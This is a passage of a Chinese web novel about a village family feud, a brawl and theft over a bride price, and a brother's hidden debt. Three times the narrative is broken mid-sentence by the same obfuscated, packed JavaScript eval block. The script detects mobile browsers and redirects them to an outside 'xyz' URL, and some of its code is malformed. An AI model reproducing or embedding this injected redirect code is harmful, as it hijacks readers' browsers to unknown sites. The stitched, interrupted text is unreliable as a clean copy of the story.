一个成天爱喝酒,爱打媳妇儿的中年男人,拿这点钱还想冲洗你再娶一个? 赵鸿利他大哥恨铁不成钢地瞪着这个傻缺弟弟,恨不得时光倒流,提前把他的嘴巴封起来。 冬兰娘家人冷哼一声说:“不可能,最多还你两千,你爱要不要,不要拉倒!” “两千?两千你打发叫花子呢?你们一女二嫁,第二次把她嫁出去,肯定没少要彩礼吧!”赵鸿利一听,激动起来,又抢话。 他大哥被气得太阳穴突突地胀,恨不得直接把他给打晕。 他看赵鸿利激动到狰狞的脸色,心里知道,事情的发展已经不受他控制,干脆不再说话。 放任赵鸿利爱怎么样就怎么样吧,最后不空手而归就行。 反正他这个当大哥的,该帮弟弟的事情都帮了,过后后悔也不能怨他。 冬兰的娘家人听到赵鸿利的话,像是被戳到了痛脚,开始蛮不讲理。 冬兰她那个传说中一直生病,甚至病重的母亲一只手掐着腰,一手指着赵鸿利的鼻子骂: “我们要没要彩礼关你屁事! 冬兰没跟你领证,不是你老婆还给你生了两个娃,便宜你个瘪三了,我还没冲你要钱呢! 你还想管老娘我要钱?反了你了! 冬兰是我身上掉下来的肉,我十月怀胎,难产生下她,给了她一条命,她这辈子都欠我的,不是欠你赵鸿利的。 我乐意把她嫁给谁就嫁给谁,你管不着! 你要是有本事,自己生一个,你爱把你生的嫁给谁别人也管不着! 啧啧,我忘了,公鸡不会下蛋,你想生也生不出来!” 赵鸿利听到最后一句,以为冬兰她妈嘲讽自己生不出儿子,瞬间气疯了。 “你个老虔婆找死!”他怒吼一声,也不躺着装被打到起不来了。 疯了一样地冲过去,向着冬兰她妈挥拳。 “哎哟!”冬兰她妈没想到自己几个儿子都在场,自己还能被人打。 她猝不及防之下被赵鸿利狠狠打了一拳。 跌倒在地后,她立刻躺在地上边打滚边扯着嗓子喊:“打人啦!打人啦!要打死人啦!” “你个鳖孙,敢打我妈!”冬兰的兄弟和堂兄弟们,立刻冲上来揪住赵鸿利就要打。 可他们似乎在村里人缘不太好。 榕旺屯明明是他们的主场,来的人竟然还不如赵鸿利这边的人多。 这边的人也冲过去,双方混打在一起,这边甚至还有小一半的人没能挤过去凑上热闹。 没挤过去的人里,就有位置最靠后的赵如月的哥哥和堂兄弟们。 这时,赵鸿利他大哥不知怎么,竟然也没冲在前面,也悄悄地绕到了后面来,跑到赵如月他们这边。 赵如月几人看到他悄悄跑到后面来,心里有点微妙。 前面的人看在他的面子上,为他弟弟撑场子,冲在前面,他竟然溜到后面来了…… 不过赵鸿利他大哥也溜回来,也不只是不想冲在前头。 他偷偷凑过来,小声对他们说:“兄弟几个现在帮不上前面的忙,能不能帮个别的忙?” 他们面面相觑,问道:“还有什么事?” 赵鸿利他大哥说:“我刚刚听了一耳朵,冬兰娘家前段时间买了不少好东西。 什么洗衣机、电视机、DVD机的一大堆! 我看他们买那些东西,用的钱八成是二嫁冬兰拿到的彩礼钱。 不管他们承不承认,我弟以前确实给过他们家彩礼,娶了冬兰,人既然找不到,他们也该给我弟弟一部分钱当补偿吧? 可冬兰她妈现在连钱也不想给,她不给我们就自己去拿! 趁着前面乱着,我们绕过去,从他们家后门悄悄进冬兰娘家房子里。” 这不就是偷东西? 赵如月想劝自己的兄弟们别去。 但是没等她开口,她哥已经说了:“这么做名不正言不顺,我们没法干啊…… 万一人家报警,说我们偷东西怎么办? 要是你跟冬兰娘家商量好,他们答应用那些东西当做给鸿利的补偿,我们二话不说,绝对帮忙搬。 可这么跟贼似的偷摸去,真不行!” 赵鸿利他哥看着前面冬兰娘家人快顶不住了,混乱的情况即将结束,他等不及。 扔下一句:“扯那么多,不就是不想帮忙,你们不愿意帮就算了,我找别人去。” 他撂下话,转身就去找其他人。 没找到还真有人跟他一起去。 那几个人趁着冬兰娘家人没注意到后门的情况。 把他们家的冰箱、洗衣机、电视机、DVD机,还有一对大音箱给搬上了他们来时坐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927355|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一辆拖拉机上。 等冬兰娘家人终于注意到的时候,拖拉机已经启动,开出去二十几米远。 冬兰她妈哀嚎一声,嗷嗷喊着赶忙叫几个儿子去追。 可拖拉机加速开起来,速度也不慢。 两条腿的人哪能追得上四条腿的车? 这下被留在现场的,除了赵如月几个人之外的所有人都傻眼了。 谁也没料到事情会是这么个发展方向。 打架的也不打了,你看看我、我看看你。 有个憨憨自以为小声,实际声音大得在场人都能听见他问:“现在……我们该怎么办?还打吗?” “打个屁!”冬兰她妈拍着大腿哭喊,“我要告到县城去,我一定要告到县城去!上法院告他赵鸿利一家子,让县城的法官大老爷们给我家做主!” 赵如月:“……” “哥,我们也回去吧?” 她哥还记着她脚扭了,疼得很,走不了路,就到她面前蹲下:“走吧,我背着你回去。” 赵如月尴尬地拍了一下他肩膀:“哥,我没事,刚刚说脚扭了是担心你们冲在前面,骗你们的。” 他哥和堂兄弟们:“……” 但是他们转而又想了想,她确实也是为了他们好,就不介意了。 要不他们几个人里,也有那冲动的小年轻,没准就真冲上去了。 现在看来,冬兰娘家和赵鸿利家都不是什么省油的灯。 虽然是同族,但已经知道那家人是什么样,他们能不被搅和进去,还是别掺和比较好。 赵如月回去后,本来还想继续跟到老宅那边去看后续。 可路过自己家时,发现店里客人竟然不少,宁绍明忙得焦头烂额,见到她也没抱怨,还让她不用担心家里,想看就去看。 赵如月哪能让他继续自己一个人忙,进屋洗了手,赶紧到店里帮忙。 赵鸿利家的事闹到那个样子,大概率没那么快结束。 赵如月猜测,冬兰娘家能摇到的人少,不一定敢找到赵鸿利家去。 等到店里的客人少了,赵如月也没再去看。 倒是想起来,宁绍贤今天乐意出门了,跟宁绍明说起这事。 “你要不要回老宅看看?” 宁绍明有点想回去,又有点犹豫:“没准还会有客人来。” “没事,我们今天准备的食材差不多快没了,有客人来我就跟客人说炒粉买完了,只有煮粉。” 煮粉赵如月还是会做的。 还有热狗面包,热狗面包的材料全都提前准备好,只需要组装,这个她也能做。 只是炒粉她练过好几次,每次炒的时候依旧会粘锅得厉害,除非放很多很多油。 可放太多油就太腻,也不划算,她干脆放弃了学这个,只在宁绍明临时有事不在的时候煮一煮米粉。 宁绍明清点过厨房里剩下的食材,确实不剩多少了。 就算后面不再有客人来,那些食材消耗不完,他们自家人也能吃完。 “那我去看看,这次可不能让他再缩回房间当缩头乌龟,不问清楚,我心里总感觉不踏实,跟身边摆着个定时炸.弹一样。” 宁绍明从厨房出来,到洗手间洗了一把脸。 擦干净后,离开店里,快步往老宅的方向走去。 75. 第 75 章 “你们没跟过去看真是可惜了!” 宁绍贤在自家厨房里,边吃饭边唾沫横飞地给家里人讲自己去帮忙的情形: “我冲在最前面,十来个小伙子跟在我身后往前冲! 我第一个开打,揪着那边的一个鳖孙狠狠地揍。 本来正打得起劲,赵鸿利他哥跑过来,让我跟他去搬东西,我还没打过瘾,不想去。 可他说我去过大城市,见识广,他们那些一辈子在镇上打转的人,没见过多少世面,不知道什么东西值钱,非要我跟着去给他们掌掌眼才行。 我只好把那被我打个半死的鳖孙往旁边一扔,带着人一起冲进赵鸿利他老婆娘家的房子里。 指点他们捡着值钱的就往车上搬。 你们是没见着,其他跟着去的人傻得很,竟然………” “大哥!”宁绍明听不下去了,直接打断他的话。 来之前宁绍明听赵如月说过事情全过程。 跟他大哥说的完全不是一回事,他大哥吹牛真是不打草稿。 明明搬东西的人是悄摸从后门进的,他要是带头往前冲,赵鸿利他哥怎么可能特地去叫他。 事实上,他大哥没冲在前面,也没冲进冬兰娘家屋里搬东西。 只是在别人把东西搬出来的时候,站在拖拉机旁边帮忙搭了把手,把东西抬上拖拉机。 拖拉机启动后,他也爬上拖拉机,跟着一起提前溜回来了。 结果回来后,仗着家里人没跟着去看现场,估计也没注意到赵如月也跟着去了。 竟然把自己吹得那么劳苦功高。 不过,这种事难道真的值得用来吹嘘吗? 宁绍贤背对着门口,所以宁绍明进来的时候他完全不知道。 听到他的声音,宁绍贤一顿,那激昂的讲述直接卡壳。 “你、你怎么来了?今天你店里没生意?”宁绍贤说到宁绍明家的店,语气里不免带着点酸味。 他回来那天,虽然不是包车回来,比宁绍明回来的时候晚了点,但也是上午到达镇上。 那个时候刚好遇上集日,又是上午这个时间段。 宁绍明店里正是客人很多都时候,宁绍贤也见到了,心里越发郁闷。 这也是他不想见宁绍明的原因之一。 “现在这个时间没什么人,我媳妇儿在店里看着就行,我听说你愿意从房间里出来了,特地来看看。” 宁绍明直接拽着他坐下,然后自己搬了一把椅子放在厨房门口的位置,坐在椅子上堵住门口。 摆出一副今天要是问不出来他们在鹏城发生的事,他就不走了的架势。 宁绍明对宁绍贤早就知道自己大哥是个什么样的人,对他已经没什么期待了。 宁达也默不作声地悄悄站到厨房通向后院的后门前,防止他从后门跑。 宁绍明其实真的不想管他大哥的事,但是他大哥跟大侄子的工作都是他介绍的。 他得知道,他大哥有没有在鹏城带回来什么随时会爆.炸连累到自家的雷。 另外,大哥虽然不行,但大侄子是个好的。 叫大侄子帮忙干点什么,他从来都是一叫就乐呵呵地去干,没有一句抱怨。 从鹏城回来的这些日子,大侄子知道他店里一般早上比较忙。 几乎每天早上都去帮忙,一帮就是一上午。 过了中午饭点客人来吃东西的第二个高峰期,才去做他自己的事。 可以说这个大侄子除了嘴馋,没什么缺点。 其实宁绍明和赵如月都觉得,嘴馋也不算什么缺点只是以前家里穷,谁吃得多了,其他人那一份就少了,才容易引起矛盾。 现在家里条件没那么难过,只要吃东西不暴食,不影响身体,嘴馋真不是什么缺点。 宁绍明挺想拉大侄子一把,可大哥是大侄子亲爹。 他身上要是埋着雷,那雷一炸开,第一个被连累到的就是妻子儿女。 更严重一点,还会波及到自己这个当兄弟的。 宁绍贤知道他这三弟平时不爱生气,可一强硬起来,他跟老二捏在一起也打不过。 别看老二是体育老师,长得也挺高大的,实际参加工作后,养出了一身肥膘,只是看起来彪悍。 仗着是老师,吓唬吓唬学生还行,来真格的八成连他都打不过。 老三可是连大铁锅也能抡起来颠勺,一上午都不怎么累的人。 看老三好像是真生气的样子,宁绍贤心里也打怵。 只能摆起脸色,先指责别人,他没好气道:“看我干什么?我一个快四十岁的老菜帮子,有什么好看的!摆出这架势,我是犯罪了还是怎么的,要搞三堂会审啊?” 宁绍明不跟他掰扯这个,跟他掰扯容易陷入他的强盗逻辑里,根本掰扯不清楚。 他直截了当地说:“你必须得告诉我,你们在鹏城到底发生了什么事。 让你那么着急忙慌地跑回来,连小春也带回来了。 你们可都是我介绍去的,你这样我怎么跟经理交代? 人家那么信任我,结果我介绍去的人一声不吭跑了。 跑的还是跟我关系最近的大哥和侄子! 经理打电话来问我怎么回事,我一问三不知,都不知道怎么回答人家,面子全丢光了。 你的面子值钱,我的面子就能随便糟蹋吗?” 其实经理根本没打电话来给他,毕竟黄文发还在酒店,要问也是问黄文发比较方便。 不过这不耽误他狐假虎威,拿经理当借口,反正他大哥又没有经理的电话号码。 就算有,他这么溜回来,也不一定敢找经理验证真伪。 宁绍贤听到宁绍明的话,又看着家里人全都向着他的架势,心里明白,自己这回不说不行了。 他一屁股在椅子上坐下,一副破罐子破摔的样子:“还能发生了什么事,我跟人做生意,把这几个月的工资,还有小春存在我这里的工资全赔进去了。 还拉了几个工友一起投钱,全陪了,人家叫我还钱,我还不上,只能跑回来,就这件事。 我觉得丢脸所以回来后不想见人,也不想跟人说。 我不如你,有贵人相助,干什么都能挣钱。 你现在听完了,满意了吗!” 宁绍明听完心里没什么波动,他总觉得这不是事情的全部。 但估摸着,他大哥隐瞒的应该只是其中的细节。 知道只是这种事,连累不到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932604|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的小家,宁绍明心里松了一口气。 倒是宁达和黄秀华听到宁绍贤欠了人家的钱,大惊失色:“你欠了人家多少钱!” 宁绍贤撇了撇嘴:“一万多。” 黄秀华觉得丢死人了,就像当初怕宁绍明的货卖不出去,被人找上门要债一样。 她也担心哪天宁绍贤的债主就找上门来,让她在十里八乡把老脸丢尽。 之前宁绍明还只是卖货,没真的欠人钱。 这回宁绍贤可是真真切切地欠了别人一万多块钱! 她焦急地问:“一万多到底是多少?一万零几块钱是一万多,一万九千将近两万也是一万多,你倒是说清楚啊!” 宁绍贤的眼睛根本不敢看她,也不敢跟屋里任何人对视。 他低头盯着地板,小声说了一句:“一万五千多。” 黄秀华很想晕过去,她跟宁达压箱底的养老钱和棺材本,全部加起来也才一万一千多。 当初分家的时候,她也是留了点心眼的。 拿出来分的钱根本不是所有的钱,她就赌几个儿子不会追根究底,非要查他们老两口到底有多少钱。 后来他们果然没深究,分家这事就这么过去了。 现在她一想到自己的钱可能要给老大填坑,只觉得晴天霹雳。 同样觉得晴天霹雳的还有宁时春和王海燕。 “爸,你说你帮我存的钱全都赔光了?” 面对儿子,宁绍贤就没那么忌惮了,他摆起当爹的架子:“是,怎么的,我是你亲爹,生你养你到这么大,白养了吗?你还想让我赔钱?” 很显然,宁时春的钱算是打水漂了。 他第一次遇到这样的事情,一个大小伙子,直接被他爸的蛮不讲理和出尔反尔气哭: “你你你……你简直不讲道理!你当初说过那是帮我存着,以后给我娶媳妇儿的钱!” “毛都没长齐,娶什么媳妇儿,以后你再挣呗!” 宁绍贤很光棍,他就仗着自己是宁时春的亲爹,不把钱还给他,他也不能拿自己怎么样。 要是宁时春敢对他动手,不管是为了什么而动手。 只要不是要人命的大事,宁绍贤出去外面说一说哭一哭,装装可怜。 也会有一些奉行‘天下无不是的父母’这一类道理的人觉得,宁时春无论如何都不该对自己亲爹动手,打亲爹就是不对。 但宁时春不好对他动手,不代表家里就没人能对他动手。 夫妻打架,只要不闹到离婚的地步,大部分人都是看热闹。 王海燕深知这一道理。 她嗷地一声就扑过去,左右开弓,冲着宁绍贤脸上猛甩了几个耳光。 边打边骂:“你个王八蛋!你敢骗我!你们当初给我打电话,明明说你们只是学徒,刚开始半年,每个月只能领五百块钱工资。 扣掉房租和杂七杂八的费用,只剩下五百,还要留三百五两个人当做一起花销和应急的钱。 每个月只给我寄回来一百五,两个王八蛋!你们爷俩联合起来瞒着我是吧!” 宁绍贤直接被打懵了,躲也躲不开,还手也还不了。 宁时春也被他妈突如其来的爆发,吓得躲到了他三叔身后。 76. 第 76 章 “别动手别动手,有话好好说……”宁绍明象征性地劝了几句,但没上去拦。 黄秀华看到儿子被儿媳妇打,倒是下意识想冲过去拦住。 可一想起宁绍贤做的事,她就强忍住了没上去,想让他得个教训,就也站在原地只出一张嘴。 看着大儿子被压着打很解气,心想:这种败家玩意儿就该打一顿! 可看了一会儿,发现宁绍贤脸都被打肿了,那惨兮兮的样子有点可怜。 而且王海燕把人都打成猪头了,还没停手的意思,她又觉得王海燕这样有点过了。 “行了行了,别打了,你现在再打他有什么用!老三,你赶紧上去把他们俩拉开!” 宁绍明不想管,人家夫妻打架,他凑上去做什么? “我一个小叔子,哪能对大嫂动手?妈你自己拉吧。” 黄秀华噎了一下,恨铁不成钢地瞪他一眼,只能转头叫宁时春。 两个人一左一右把王海燕从宁绍贤身上拽起来。 王海燕喘着粗气,刚站稳,往右边看了一眼。 发现拉自己的是宁时春这倒霉儿子,气又不打一处来。 反手也给了宁时春一耳刮子:“打死你个小王八犊子!跟你那死鬼爹不学好,敢合起伙来骗老娘,看老娘打不死你!” 宁时春不像他爸。 宁绍贤被打得翻不了身,嘴巴还骂骂咧咧地刺激王海燕,结果就是被打得最严重。 宁时春不敢还嘴,闷不吭声地受了王海燕一耳光和一连串的谩骂,好歹让她的火气消减了一点。 宁时春看她没那么凶了,才敢弱弱地解释:“其实也不全是骗你,房租水电还有一些日常的花销和平时打电话回来的电话费,我跟我爸各出一半,剩下的钱,我本来想寄回来给你一半,但是我爸不同意,他说、他说……” 说到这里宁时春吞吞吐吐的不敢说完。 他小心瞄了王海燕一眼,像是说出来怕她又暴起打人。 “他说什么?你说话别说一半膈应人,不然别怪我收拾你!”王海燕盯着他,非要他说出来。 宁时春想着这屋里爷爷奶奶上了年纪,不一定拦得住他妈,就三叔看起来最靠谱。 他悄悄往三叔那边靠。 靠近了,一闭眼不管不顾地将他爸曾经劝自己的话全部抖落出来: “他说,你向着娘家,总是拿婆家的东西去贴补娘家,贴补我舅舅。 我舅舅还没结婚,我的钱寄回来给你,你肯定先拿去给我舅舅娶媳妇儿。 我舅舅就大我几岁,等过几年轮到我娶媳妇儿,家里的钱被你搬回娘家去,我就要继续打光棍。 再重新存几年钱,年纪也大了,我们家又不是什么有钱人家,到时候肯定找不到好人家的女儿。 再惨一点,可能还要娶个傻子。” “他还说,不管怎么样,我是他唯一一个儿子,是家里的长孙。 要给他和老宁家传宗接代,谁不管我的婚事,他都不可能不管。 我才把钱交给他存的,不过他跟人做生意的事,我是真不知道。” 王海燕听得头嗡嗡响,恨不得直接晕过去。 但也有一部分被说中了。 她恼羞成怒地呸了一声:“你老宁家有个屁的东西让我搬回娘家去! 你个没良心的白眼狼,老娘生你不如生个叉烧! 你舅舅对你多好,多疼你,哪次你去你舅舅家,他不给你做好吃的、不带你到处去玩? 你竟然这么想他!他真是白疼你了!” “你可别招笑了,还你弟弟给小春做好吃的,什么好吃的? 炒白粥加点猪油加点盐就是好吃的了? 人家老三媳妇儿她娘家天天给小秋和小夏炒蛋炒饭都乐意! 小春一年到头就去你娘家一两次,去了也只剩吃上猪油炒白粥,说出去别笑死人!” 宁绍贤脱身后,本来躲王海燕躲得远远的,一听到王海燕的话,他又忍不住凑上去嘴贱: “你也好意思嫌弃我老宁家,也不看看你娘家怎么样! 我家要是没好东西,你那村里的娘家,一群乡巴佬不是更穷? 要不当年怎么死乞白赖非得把你嫁到镇上?” 王海燕听了又想抽他,可宁绍贤有了防备,她没能像刚才那样成功。 只能指着宁绍贤破口大骂:“王八蛋,你骂谁乡巴佬?你以为你是什么高贵的城里人?你不也是个农村人,你得意什么,你凭什么看不起我娘家!你个挨千刀的!” 然而宁绍贤接下来的话,让王海燕嘴里的骂声瞬间哑了火。 “你敢说我们寄回来的钱,你全花在丹萍和你自己身上了,没给你娘家弟弟?” “我没给!”王海燕声势弱了些,但还在嘴硬。 夫妻这么多年,宁绍贤不信她不给。 “那我现在马上去找你弟弟要他还钱,我看他敢不敢不还!” 王海燕张了张嘴,说不出话来了。 以前王海燕贴补娘家,宁绍贤也知道。 只是那些钱多是王海燕卖点她自己开荒种的菜或者果子挣的,他那时候不缺钱花就没多管。 宁绍贤说着就要站起身出去。 “不行,你不许去!”王海燕慌了,她知道把宁绍贤惹急了,这种事他真能做得出来。 她给娘家钱时,一直都说自己拿钱回去婆家人都知道,但是公婆和丈夫都不介意,以显示自己在婆家有地位。 每次她给娘家钱,她爸妈在六个姐妹面前夸她,那些姐妹们都羡慕她得很。 宁绍贤去要钱,那不是在她娘家把她的脸皮剥下来踩? 到时候她面子里子全没了,以后还有什么脸面回娘家? 黄秀华气恼地狠狠一拍桌子:“好了,别吵了!吵架有什么用!” 宁达也觉得头疼:“所以现在不但老大跟小春自己存的钱全都打了水漂,他们寄回来给我老大媳妇儿的钱,也要不回来了,是这样吧?” 宁绍贤、宁时春和王海燕互相看看这个,又看看那个,默默点头,不说话了。 “唉……”黄秀华长叹一口气说道,“现在最要紧的是赶紧凑够钱,把欠下的债还上, 别让人找上门来,闹得太难看。” 可要她把自己跟老头子的全部家底拿出来,她也不舍得。 要不是手里有钱,当初分家,他们老两口哪有底气提出自己住? 而且现在把那么多钱拿出来,家里人不就都知道他们藏私了? 钱全给老大拿去填坑,老二和老三心里能没有意见? 黄秀华看向宁绍明,现在家里除了他们老两口。 估计也就老三兜里还能有点钱。 兄弟之间互相帮助也是应当。 她生这么多孩子图的是什么? 除了养儿防老,不就是图他们遇到事情的时候,几个孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938063|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间可以团结互助! 黄秀华本来想让宁绍明主动开口,拉他大哥一把。 可宁绍明像是感受不到她的目光,完全不跟她对视。 无奈之下,黄秀华只好直接点他:“老三,你现在有多少钱能用?” 这话一出,宁绍贤和王海燕齐齐看向宁绍明。 两人心里都期盼着,老太太能帮他们从老三那里多薅一点钱。 谁知宁绍明不说不愿意帮,也不说愿意帮。 只是两手一摊说:“我家不是我管钱,你问我没用。” 黄秀华原本就因为之前的事,在单方面跟宁绍明冷战。 刚刚想让他帮宁绍贤的忙,态度才稍稍和蔼了些,谁知道自己这个当妈的都主动给他递台阶了,他竟然也不下。 黄秀华脸色瞬间沉下来:“你是你们家的一家之主,怎么能不管钱? 你看看你大哥家,有点钱,全被你大嫂搬回娘家去了。 你媳妇儿娘家在她家族里也不算富裕,你可不能什么都由着她!” 宁绍明对她的话不为所动:“你别只说我啊! 你跟我爸结婚后,家里的钱不也都是你管着吗? 以前你还说过,谁家不给女人管钱,谁家旺不起来。 妈,你不会不希望我家旺不起来吧?” “那你去找你媳妇儿来,算了,你别去,让小春去跑腿。” 黄秀华担心宁绍明一走就不回来了,指挥宁时春去。 宁时春看一眼奶奶,又看一眼三叔。 直觉告诉他,以后要是还想跟三叔维持像以前那么好的关系。 现在不能听奶奶的,得等三叔发话。 宁时春只是不够伶俐,不是傻。 他知道自己亲爹显然不靠谱,二叔是个吝啬又清高的。 二叔和二婶一向看不起他和他家人,这一点他很小就感受到了。 他妈又偏向娘家,总惦记补贴他舅舅。 以后他有事,找父母帮自己想办法,还不如找三叔。 黄秀华看他犹犹豫豫、窝窝囊囊的样子就来气:“小春,我叫你去喊你三婶来,你没听见啊?” “我、我、三叔、我……”宁时春看想宁绍明。 宁绍明看不惯她为难老实孩子。 皱着眉说:“妈,你别为难小春,我媳妇儿还要看店呢,没人去替她看店,谁去叫她,她都走不开。” 宁绍贤冷哼一声:“刚才你不是还说,现在这时间客人不多?” 宁绍明瞥他一眼:“客人不多不代表没有客人,就算只有一个客人来,也多少能挣点,毕竟苍蝇腿也是肉。 我们做的小本买卖,挣点辛苦钱,比不上大哥你,在外面做些以万为单位的生意。” 宁绍明心说,不就是阴阳怪气地说话, 当谁不会呢? 他以前只是看在都是一家人的份上不喜欢这样,可不代表他不会。 以往都是宁绍贤阴阳别人,这回轮到他被阴阳怪气地嘲讽,他竟然感觉很不可思议,也无法接受。 气急之下脱口而出:“你爱帮不帮,谁稀罕!” 不过说完他就后悔了。 王海燕想说自己稀罕。 可宁绍明已经话赶话地抢先说道:“那正好,妈你听见了吧,我大哥说不稀罕我帮忙,那我先走了。” 反正他本来就打算一毛不给,说完真站起身,头也不回地离开了。 77. 第 77 章 这举动,连宁达都有点惊讶。 他以为不管怎么样,老三多少也会拿一点钱出来,先帮他大哥渡过难关。 哪怕只给个一两千、两三千也好啊! 现在可怎么办? 真要榨干他们老两口去填老大这个窟窿? 留在厨房里的人全傻眼了。 宁时春趁着他们又吵起来,互相推卸责任埋怨对方把他三叔气走,没注意到自己,也悄悄跟着宁绍明离开了。 反正留在那里也解决不了他爸的问题,不如问问三叔,自己接下来该怎么办。 不读书了,总不能一直这么待在家里无所事事。 宁绍明注意到了跟上来的宁时春,放慢脚步等他。 两人沉默地走了一会儿,宁绍明问他:“你以后有什么打算?” 宁时春摇头:“我现在也不知道该怎么办,我想回鹏城的酒店继续干,可这条路被我爸堵死了。” 他担心去鹏城会被他爸的债主找上门。 在鹏城时,长辈们担心他和另外几个跟他年龄相仿的小辈在那边跟人学坏。 经常会说一些很恐怖的传闻。 比如鹏城的□□,打起来比古惑仔电影里还凶狠,电影里都是美化过的。 要是他们谁跟乱七八糟的人混,被人家死对头抓走,可不是被打一顿这么简单。 听说有人前一天晚上被抓走,第二天被发现躺在街角。 发现他的人还以为是乞丐在那里睡觉,担心影响自己店里的生意,想把这乞丐赶走。 谁知上去一看,那个人的肚子都被掏空,内脏全都不见了,只剩下一个空壳子。 还有说一个男的出来打工瞎混,过完年返工,在火车站就被抓了。 他老娘好几年等不到他回家,眼睛都哭瞎了。 他老婆也带着他的孩子改嫁. 他孩子在继父家里,天天被打被骂、吃不饱饭,还要给人家干活。 后来有一天,他老婆跟二婚老公去东南亚旅游。 在某个畸形秀的秀场看到他。 但是他的四肢已经被人砍掉,塞进花瓶里让人观赏。 诸如此类一大堆听说来的传闻。 他们也不知道是真是假,但不影响他们用来吓唬年轻人别乱来。 年轻人们刚开始也不信,宁时春也是。 总觉得大人们跟小时候给他们说狼外婆的故事一样,是故意吓唬他们。 直到有一天,他跟几个住得比较近的工友下班一起回家。 走在路上,经过一条街,那时候太阳还没下山,路灯也没亮起,可以说是青天白日。 有两个人也是很正常地走在路上,突然就被从小巷子里冲出来的几个人连续捅了好几刀。 后来听说,那两个人是父子,当爹的也是欠债不还,想跟老婆假离婚,转移财产。 然后先把家人送出国,自己再跑路,被债主发现了。 债主直接找道上的人连那个带他儿子一起收拾了。 他们全都吓懵了,从那时候开始,宁时春就把长辈们说的话当了真。 平时下班最多跟老乡或者工友去公园、商场这些人多,又看起来比较安全的地方逛逛,也不怎么花钱。 别说夜场、KTV,他连租影碟的店都不去了。 所以他一听到他爸在鹏城欠债,吓得要死,恨不得跟他爸断绝关系。 鹏城肯定是不敢再去了。 “你有没有感兴趣的事?或者别的想做你事?”宁绍明又问。 “感兴趣的事?”宁时春想了又想,有点不好意思地说:“我就爱吃点好吃的。” 舍不得人鹏城那个工作,也是因为在后厨能吃到很多好吃的东西,还不用花钱。 他们两个人说着话时,已经走到宁绍明店门口。 看里面没客人,就坐在门口的椅子上聊。 赵如月听到动静出来,听到了后面的一点。 不明所以地问了一句再聊什么。 宁绍明简单把老宅那里发生的时,和宁时春的烦恼跟她说了一下。 赵如月想了想问宁时春:“小春,你能管得住你爸妈吗?” 宁时春苦笑:“三婶,你看他们那样,是我能管的吗?我大概只能管好我自己。” “我刚刚说的话有歧义,我的意思不是让你去管他们,我的意思是,如果你又得了一个好工作,你能保证他们不去你工作的地方捣乱吗? 你能不能下定决心,拒绝他们插手你们工作和生活? 就像你三叔一样,你三叔以前去砖厂干活,能养活自己之后,就敢拒绝你爷爷奶奶提出的很多不合理要求了。” 宁绍明的工资也不全给家里。 结婚前他只给家里三分之一,剩下自己存着。 结婚后多了一个人跟他回家吃饭,他才给了家里一半工资。 婚后他那些存款就全交给了她。 她爸妈愿意让她嫁给他,也有这个原因在。 要不只凭着他爸妈嘴上承诺给房子,见不着一点实实在在的东西,怎么会答应。 听完三婶的话,宁时春心里豁然开朗。 他心想自己真是傻,明明面前就有个值得学习的榜样,之前也隐约觉得要跟三叔走近些对自己好,却一直没想明白该怎么做。 其实三叔结婚前他就懂事了,亲眼看着三叔谈恋爱、结婚。 宁时春想起来,当初三叔跟三婶背着人偷偷去约会,还拿他当挡箭牌来着。 说要带他去玩,其实是让他去当电灯泡的。 如今三叔有了家庭、有了孩子,一步一步走到现在,家庭美满。 还学得了一门手艺,开店拥有了自己的事业。 所以很多事情的处理方式,他照着抄就行了! 宁时春想通后,也隐约明白了三婶为什么跟自己说这些。 他激动得说话都喷口水了:“我能!我一定能处理好那些事!” 宁绍明也明白了赵如月的意思:“你想让小春来店里帮忙?” 不然不会担心他管不了他父母。 “嗯,我是这么想的,既然小春只对吃好吃的感兴趣,那他学厨肯定能学得下去。 不如让他来帮忙,店里不忙的时候,你就教他些手艺,以后他也能有个立身的本事,要不你大哥大嫂那么不靠谱,以后他怎么办?” 另外,赵如月没说的是宁时春在鹏城酒店的后厨干了几个月。 一些基础的东西肯定会了,多少能让宁绍明轻松些。 饭点人多的时候,他是真的累,厨房里又热。 别说趁着间隙吃点东西喝点水了,身上的汗跟雨水一样往下流, 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一般第一年不给工资,只包学徒的三餐,第二年给一点工资,但是也不多,就赵如月知道的那些,大概也就给一百多两百块钱。 宁绍明跟宁时春叔侄俩关系好,宁时春小时候都是宁绍明带得多,总是爱跟在宁绍明屁股后面跑。 后来她生下宁时秋,宁绍明上班不在家的时候,她有事要忙,也是宁时春帮她看孩子。 要是以后宁时春过得不好,宁绍明很难做到袖手旁观。 与其救济,不如让他有独立的能力,让他自立起来,对她自家也有好处。 